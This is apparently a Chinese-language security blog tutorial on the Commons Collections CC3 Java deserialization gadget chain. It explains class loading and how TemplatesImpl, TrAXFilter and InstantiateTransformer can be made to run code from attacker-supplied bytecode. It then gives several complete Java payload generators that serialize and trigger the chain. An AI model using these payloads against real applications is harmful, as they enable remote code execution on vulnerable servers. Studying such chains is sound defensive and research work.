CC3 链的核心在于利用 TemplatesImpl 加载恶意类时执行静态代码块。
CC3 链分析 在分析 CC3 链之前,我们需要再深入地了解一下 Java 的类加载机制。虽然我前面有提到 Java 类加载的几种方式,但是这里还是需要再深入了解一下。
推荐博客:Java 基础篇-类加载机制
ClassLoader,吃透它看这一篇就够了
自定义类加载器 实现一个自定义类加载器需要继承 ClassLoader ,同时覆盖 findClass 方法。
ClassLoader 里面有三个重要的方法 loadClass() 、findClass() 和 defineClass() 。
loadClass() 方法是加载目标类的入口,它首先会查找当前 ClassLoader 以及它的双亲里面是否已经加载了目标类,如果没有找到就会让双亲尝试加载,如果双亲都加载不了,就会调用 findClass() 让自定义加载器自己来加载目标类。ClassLoader 的 findClass() 方法是需要子类来覆盖的,不同的加载器将使用不同的逻辑来获取目标类的字节码。拿到这个字节码之后再调用 defineClass() 方法将字节码转换成 Class 对象。
双亲委派机制 想要自定义类加载器,一定需要了解双亲委派模型
双亲委派机制原理如下:
类加载器根据全限定类名判断类是否加载,如果已经加载则直接返回已加载类。如果没有加载,类加载器会首先委托父类加载器加载此类。父类加载器也会采用相同的策略,查看是否自己已经加载该类,如果有就返回,没有就继续委托给父类进行加载,直到BootStrapClassLoader
。如果父类加载器无法加载,就会交给子类进行加载,如果还不能加载就继续交给子类加载。顺序为 BootStrapClassLoader->ExtClassLoader->AppClassLoader->自定义类加载器
。
双亲委派机制的好处:
能够有效确保一个类的全局唯一性,当程序中出现多个限定名相同的类时,类加载器在执行加载时,始终只会加载其中的某一个类。加载的先后顺序其实确定了类被加载的优先级,如果出现了限定名相同的类,类加载器在执行加载时只会加载优先级最高的那个类。
利用链之 TemplatesImpl 类 TemplatesImpl 类中的静态内部类 TransletClassLoader 就是一个自定义类加载器,它继承了 ClassLoader ,重写了 defineClass 方法。defineClass() 完成类加载的加载 -> 验证 -> 准备 -> 解析四个阶段,而静态代码块在初始化阶段被执行。所以可以把命令放在静态代码块中,最后利用 newInstance 方法完成初始化并执行它。
利用链总结 1 2 3 4 5 6 /* TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass() */
TransletClassLoader 静态内部类的 defineClass 方法:
1 2 3 Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); }
这里需要传入一个字节数组,字节数组中应当存放我们自定义类的字节码。接下来看看哪里调用了这个方法,defineTransletClasses 方法中调用了这个方法。
defineTransletClasses 是外部类 TemplatesImpl 的成员方法,它调用了 TransletClassLoader 内部类的 defineClass 方法:
由于 defineTransletClasses 是私有方法,再找找谁调用了这个方法。
getTransletInstance 方法调用了 defineTransletClasses 方法:
由于 getTransletInstance 是私有方法,再找找谁调用了这个方法。
newTransformer 方法调用了 getTransletInstance :
判断绕过 刚才在看代码的时候看到一些判断条件,现在来过一下判断。
getTransletInstance 方法中,如果 _name 为空那么将会直接返回 null,所以 _name 应该不为空,以及需要 _class 为空才能调用 defineTransletClasses 方法:
defineTransletClasses 方法中如果 _bytecodes 为空会直接抛出异常,所以这里 _bytecodes 应该不为空,以及下面会调用 _tfactory 方法,所以 _tfactory 不为空:
总结一下:
1 private String _name = null;
1 private Class[] _class = null;
1 private byte[][] _bytecodes = null;
它后面会作为 defineClass 方法的参数:
1 _class[i] = loader.defineClass(_bytecodes[i]);
由于 _bytecodes 是一个二维数组,而传入的参数是 _bytecodes[i] ,也就是一个一维数组,所以我们需要创建一个一维数组,再把它放到 _bytecodes 二维数组中去。这里因为前面的循环次数取的是 _bytecodes 的长度,如果只传入一个一维数组,那么长度为 1 ,只循环一次,i 只能取到 0 这个值,那么 _bytecodes[i] 就是传入的一维数组:
_tfactory 需要被赋值为 TransformerFactoryImpl 对象
1 private transient TransformerFactoryImpl _tfactory = null;
由于 _tfactory 被 transient 修饰,无法被序列化,因此没办法手动赋值。但是在 TemplatesImpl 类的 readObject 方法中有赋值语句:
1 _tfactory = new TransformerFactoryImpl();
所以 _tfactory 可以不用管。
除此之外,我们还需要关注一件事:
TemplatesImpl#defineTransletClasses() 会判断我们传入的类的父类是否为 ABSTRACT_TRANSLET ,如果是的话才会将 _transletIndex 赋值成 i (此时 i 为 0),而 _transletIndex 的默认值是 -1 ,如果这里不被赋值的话,下面经过判断后就会直接抛出异常。所以我们还要让传入的类继承 ABSTRACT_TRANSLET 。
我们可以在 TemplatesImpl 类中查到 ABSTRACT_TRANSLET 属性的定义:
可以看到它指代的类是 AbstractTranslet ,那么我们只需让传入的类继承 AbstractTranslet 类就行。
写个小程序验证一下 恶意类 Eval :
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执行程序 test1 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; public class test1 { public static void main(String[] args) throws Exception { // 初始化TemplatesImpl对象 TemplatesImpl templates = new TemplatesImpl(); // _name不为空 setFieldValue(templates, "_name", "test"); // 这里需要用到恶意类的字节码文件,通过maven编译后target目录下有字节码文件 byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\CC3链\\CC3\\target\\classes\\com\\miaoji\\Eval.class")); byte[][] codes = {code}; // _bytecodes和_tfactory不为空,由于还没有进行反序列化,这里先手动设置_tfactory的值 setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); templates.newTransformer(); } // 反射设置值的操作重复,可以抽离成一个方法 public static void setFieldValue(Object object, String field_name, Object filed_value) throws Exception { Class clazz = object.getClass(); Field declaredField = clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object, filed_value); } }
成功弹出计算器。
利用链之 TrAXFilter 类 TrAXFilter 的构造方法会调用 TemplatesImpl 的 newTransformer() 方法:
1 2 3 4 5 6 7 8 public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
而且还是个 public 方法,可惜的是 TrAXFilter 不能被序列化。
InstantiateTransformer 的 transform 能够实例化对象:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public Object transform(Object input) { try { if (input instanceof Class == false) { throw new FunctorException( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public "); } catch (InstantiationException ex) { throw new FunctorException("InstantiateTransformer: InstantiationException", ex); } catch (IllegalAccessException ex) { throw new FunctorException("InstantiateTransformer: Constructor must be public", ex); } catch (InvocationTargetException ex) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex); } }
于是我们可以直接用 InstantiateTransformer 来实例化 TrAXFilter 对象。
写个小程序验证一下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; public class test2 { public static void main(String[] args) throws Exception { // 初始化TemplatesImpl对象 TemplatesImpl templates = new TemplatesImpl(); // _name不为空 setFieldValue(templates, "_name", "test"); // 这里需要用到恶意类的字节码文件,通过maven编译后target目录下有字节码文件 byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\CC3链\\CC3\\target\\classes\\com\\miaoji\\Eval.class")); byte[][] codes = {code}; // _bytecodes和_tfactory不为空,由于还没有进行反序列化,这里先手动设置_tfactory的值 setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); // 初始化InstantiateTransformer对象,利用它实例化TrAXFilter对象 InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class); } // 反射设置值的操作重复,可以抽离成一个方法 public static void setFieldValue(Object object, String field_name, Object filed_value) throws Exception { Class clazz = object.getClass(); Field declaredField = clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object, filed_value); } }
反序列化利用 我们依然是选择用 InvokerTransformer 类的 transform 方法来执行 TemplatesImpl 的 newTransformer() 方法。但是反序列化的入口有多个选择,可以使用 AnnotationInvocationHandler 的 readObject ,或者 HashMap 的 readObject 。
除了上述方法之外还可以用 TrAXFilter 类来调用 TemplatesImpl 的 newTransformer() 方法。
将 AnnotationInvocationHandler 作为入口类 前面学 CC1 链的时候我们就是用 AnnotationInvocationHandler 的 readObject 方法来反序列化的,但是有 Java 版本限制。
payload 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC1_TemplatesImpl { public static void main(String[] args) throws Exception { // 初始化 TemplatesImpl 对象 TemplatesImpl templates = new TemplatesImpl(); // _name 不为空 setFieldValue(templates,"_name","test"); // 这里需要用到恶意类的字节码文件,通过 maven 编译后 target 目录下有字节码文件 byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\CC3链\\CC3\\target\\classes\\com\\miaoji\\Eval.class")); byte[][] codes = {code}; // _bytecodes 不为空 setFieldValue(templates,"_bytecodes",codes); //利用 ChainedTransformer 执行 templates.newTransformer(); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 新建一个 HashMap ,没什么意义,仅作为参数传入 HashMap<Object,Object> map = new HashMap<>(); // 初始化利用链 LazyMap,LazyMap 的 get 方法将会调用 chainedTransformer 的 transform 方法 Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); // 反射获取 AnnotationInvocationHandler 的构造方法 Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true); // 利用构造方法将 AnnotationInvocationHandler 对象的 memberValues 属性赋值为 LazyMap 对象 // memberValues 属性的 get 方法将会被 AnnotationInvocationHandler 的 invoke 方法调用 InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap); // 为了能够调用 h 的 invoke 方法,我们用 h 来构造一个代理对象,这样当代理对象的任意方法被调用时,h 的 invoke 方法都会被调用 Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h); // 再次利用构造方法将另一个 AnnotationInvocationHandler 对象的 memberValues 属性赋值为代理对象 // AnnotationInvocationHandler 的 readObject 方法中会调用 memberValues.entrySet() 方法,届时代理对象的 invoke 方法将被触发 Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy); serialize(o); unserialize("cc1_templatesImpl.bin"); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws Exception { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); } public static void serialize(Object o) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1_templatesImpl.bin")); oos.writeObject(o); } public static void unserialize(String filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject(); } }
将 HashMap 作为入口类 前面学 CC6 链时,我们便是将 HashMap 作为入口类,原因是 HashMap 的 readObject 方法会调用 key 的 hashCode 方法。
之后的利用链 TiedMapEntry :
1 TiedMapEntry#hashCode() -> TiedMapEntry#getValue() -> TiedMapEntry.map#get()
所以将 TiedMapEntry 的 map 属性赋值为 LazyMap 对象就好。
payload 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC6_TemplatesImpl { public static void main(String[] args) throws Exception { // 初始化 TemplatesImpl 对象 TemplatesImpl templates = new TemplatesImpl(); // _name 不为空 setFieldValue(templates,"_name","test"); // 这里需要用到恶意类的字节码文件,通过 maven 编译后 target 目录下有字节码文件 byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\CC3链\\CC3\\target\\classes\\com\\miaoji\\Eval.class")); byte[][] codes = {code}; // _bytecodes 不为空 setFieldValue(templates,"_bytecodes",codes); //利用 ChainedTransformer 执行 templates.newTransformer(); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 新建一个 HashMap ,没什么意义,仅作为参数传入 HashMap<Object,Object> map = new HashMap<>(); // 初始化利用链 LazyMap,LazyMap 的 get 方法将会调用 chainedTransformer 的 transform 方法 // 为了防止序列化时命令执行,这里先传入一个普通的 ConstantTransformer 对象 Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1)); // 将 TiedMapEntry 的 map 属性赋值为 LazyMap 对象 // 利用链:TiedMapEntry#hashCode() -> TiedMapEntry#getValue() -> TiedMapEntry.map#get() TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"key"); // 新建一个 HashMap 对象,将 TiedMapEntry 对象作为 key 传入,之后将会调用 TiedMapEntry#hashCode() HashMap<Object,Object> map2 = new HashMap<>(); // 序列化时这里将会提前调用 TiedMapEntry#hashCode() ,导致 lazyMap::get()被调用,导致 lazyMap 的 key 属性被赋值 // 于是反序列化调用 lazyMap::get() 时无法进入判断,无法调用 transform 方法 map2.put(tiedMapEntry,"test"); // 为了解决上述问题,HashMap 对象的 put 方法执行后需要去除 lazyMap 中的 key lazyMap.remove("key"); // 最后利用反射将 LazyMap 的 factory 对象修改为 chainedTransformer Class c = LazyMap.class; Field factory = c.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap,chainedTransformer); serialize(map2); unserialize("cc6_templatesImpl.bin"); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws Exception { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6_templatesImpl.bin")); oos.writeObject(obj); } public static Object unserialize(String filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); } }
利用 TrAXFilter 的构造方法调用 TemplatesImpl 的 newTransformer() 方法,就不需要使用 InvokerTransformer 了。入口类可以从上面两个中选一个。
为了更加通用,这里选择将 HashMap 作为入口类,payload 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class TrAXFilter_TemplatesImpl { public static void main(String[] args) throws Exception { // 初始化 TemplatesImpl 对象 TemplatesImpl templates = new TemplatesImpl(); // _name 不为空 setFieldValue(templates, "_name", "test"); // 初始化 InstantiateTransformer 对象,利用它实例化 TrAXFilter 对象 InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); // 这里需要用到恶意类的字节码文件,通过 maven 编译后 target 目录下有字节码文件 byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\CC3链\\CC3\\target\\classes\\com\\miaoji\\Eval.class")); byte[][] codes = {code}; // _bytecodes 不为空 setFieldValue(templates, "_bytecodes", codes); // 利用 ChainedTransformer 执行 templates.newTransformer(); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 新建一个 HashMap ,没什么意义,仅作为参数传入 HashMap<Object, Object> map = new HashMap<>(); // 初始化利用链 LazyMap,LazyMap 的 get 方法将会调用 chainedTransformer 的 transform 方法 // 为了防止序列化时命令执行,这里先传入一个普通的 ConstantTransformer 对象 Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); // 将 TiedMapEntry 的 map 属性赋值为 LazyMap 对象 // 利用链:TiedMapEntry#hashCode() -> TiedMapEntry#getValue() -> TiedMapEntry.map#get() TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); // 新建一个 HashMap 对象,将 TiedMapEntry 对象作为 key 传入,之后将会调用 TiedMapEntry#hashCode() HashMap<Object, Object> map2 = new HashMap<>(); // 序列化时这里将会提前调用 TiedMapEntry#hashCode() ,导致 lazyMap::get()被调用,导致 lazyMap 的 key 属性被赋值 // 于是反序列化调用 lazyMap::get() 时无法进入判断,无法调用 transform 方法 map2.put(tiedMapEntry, "test"); // 为了解决上述问题,HashMap 对象的 put 方法执行后需要去除 lazyMap 中的 key lazyMap.remove("key"); // 最后利用反射将 LazyMap 的 factory 对象修改为 chainedTransformer Class c = LazyMap.class; Field factory = c.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap, chainedTransformer); serialize(map2); unserialize("trAXFilter_templatesImpl.bin"); } public static void setFieldValue(Object object, String field_name, Object filed_value) throws Exception { Class clazz = object.getClass(); Field declaredField = clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object, filed_value); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("trAXFilter_templatesImpl.bin")); oos.writeObject(obj); } public static Object unserialize(String filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); } }